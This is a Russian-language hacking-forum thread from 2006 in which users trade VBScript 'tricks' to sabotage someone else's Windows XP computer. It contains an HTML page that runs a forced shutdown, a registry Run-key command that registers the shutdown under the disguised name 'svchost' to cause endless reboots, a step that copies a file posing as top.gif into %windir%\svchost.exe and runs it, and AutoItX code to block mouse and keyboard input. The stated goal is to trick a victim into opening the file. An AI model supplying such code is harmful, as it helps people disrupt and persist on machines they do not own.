пакости на vbscipt

Discussion in 'Безопасность и Анонимность' started by George767, 26 Oct 2006.

  1. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Народ, вот эта статейка
    http://antichat.ru/txt/old/tiran.shtml

    запустил скрипт для выключения винды
    <HTML>
    <HEAD>
    </head>
    <body>
    <SCRIPT LANGUAGE="VBScript">
    <!--

    Set Shell=CreateObject("WScript.Shell")
    Shell.Run "Rundll32.exe User.exe,ExitWindows"

    -->
    </SCRIPT>
    </BODY>
    </HTML>

    ничего не происходит

    Антивиря и фаервола у ми нет, винда XP, Sp2. Тестил из-под IE и Мозилы.
    В чём проблема?
     
  2. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Проблема в том, что "User.exe,ExitWindows" не совместимо с XP, во всяком случае с XP-шным "Rundll32.exe"
    --------
    Альтернатива "Rundll32.exe User.exe,ExitWindows" - "shutdown.exe -s -t 1 -f -d u"
    --------
    Да и обьект "WScript.Shell", создаётся только если страница на локальном диске.
     
    #2 hidden, 26 Oct 2006
    Last edited: 26 Oct 2006
    1 person likes this.
  3. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1

    Работает спасибо огромное!
    А подскажи функции для вырубания мышки и клавы, тоже для Xp.

    PS Автор той статьи писал что мол придётся вообще винду переставлять, ибо мышь и клавиатура работать не будут. Я так понимаю это в автозагрузку всё записывается? Под безопасным режимом тоже они не будут работать?

    Заранее спасибо

    PS Плюсик:))
     
  4. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Я c тaкими нe cтaлкивaлcя, нeзaчeм... Moжeт кaк нибyдь дpaйвepa пoдпopтить. Пoпpoбyй
    Code:
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_EXPAND_SZ /d "shutdown.exe -s -t 1 -f -d u"
    и бyдeт тeбе вeчнaя пepeзaгpyзкa, peшeниe чepeз бeзoпacтный peжим, a вooбщe, ecли ecть тaкaя вoзмoжнocть зaкинyл бы кaкyю-нeбyдь звepюшкy: тpoянa, чepвякa, paдминa.
    Code:
    copy top.gif %windir%\svchost.exe
    %windir%\svchost.exe
     
  5. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1

    Я вот тут нашёл кое-что по теме, но из-за незная vbs, незнаю как это применить конкретно...
    http://www.pcreview.co.uk/forums/thread-531920.php
    Поможешь код составить?
     
  6. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Они же готовый код дают
    Code:
    Set oAutoIt = CreateObject("AutoItX.Control")
    oAutoIt.BlockInput "on"
    Вот только
     
  7. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1

    Там по ссылке говорится что нужно зарегать библиотеку DLL на компе жертвы для работоспособности скрипта. Это что ?
     
  8. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    т.е. Нужно скачать ему на комп эту библиотеку и прописать её в реестр, чтоб VB мог получать к ней доступ. Но судя по первому посту, тебе это совсем не нужно.
     
  9. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    дык если я заставлю жертву открыть файлик с кодом
    <HTML>
    <HEAD>
    </head>
    <body>
    <SCRIPT LANGUAGE="VBScript">
    <!--

    Set oAutoIt = CreateObject("AutoItX.Control")
    oAutoIt.BlockInput "on"

    -->
    </SCRIPT>
    </BODY>
    </HTML>

    будет ли это работать? думаю нет, тут ясно видно что требуется AutoIt...
     
  10. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Это я и говорю, чтоб оно работало, надо установить эту прогу(как написано можно обойтись регистрацией библиотеки), но ведь если ты можешь копировать файлы и прописывать их в реестр, то зачем тебе ставить эту прогу, когда ты можешь поставить почьти любую другую, неужели только для отключения мыши и клавы на время выполнения скрипта.
     
  11. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    нет, ничего прописывать не могу, компьютер не мой будет. Могу
    а) заставить скачать файлы
    б) заставить открыть файл который будет служить началом цепной реакции

    Цель - злая шутка. Думаю отключение клавы и мышки и лишь единственный выход - переутсановка винды - было бы идеальным сценарием...
    Всякие трояны и вирусняк не пройдёт - антивири есть...
     
  12. stap

    stap Banned

    Joined:
    25 Oct 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    -2
    Чувак чё ты паришься с этими (*vbs) скриптами,это всё старьё,западло на пагах в эпоху XP уже не то ...
    Взял бы лучше нюк или сплоит и вперёд ... :D
     
    #12 stap, 27 Oct 2006
    Last edited: 27 Oct 2006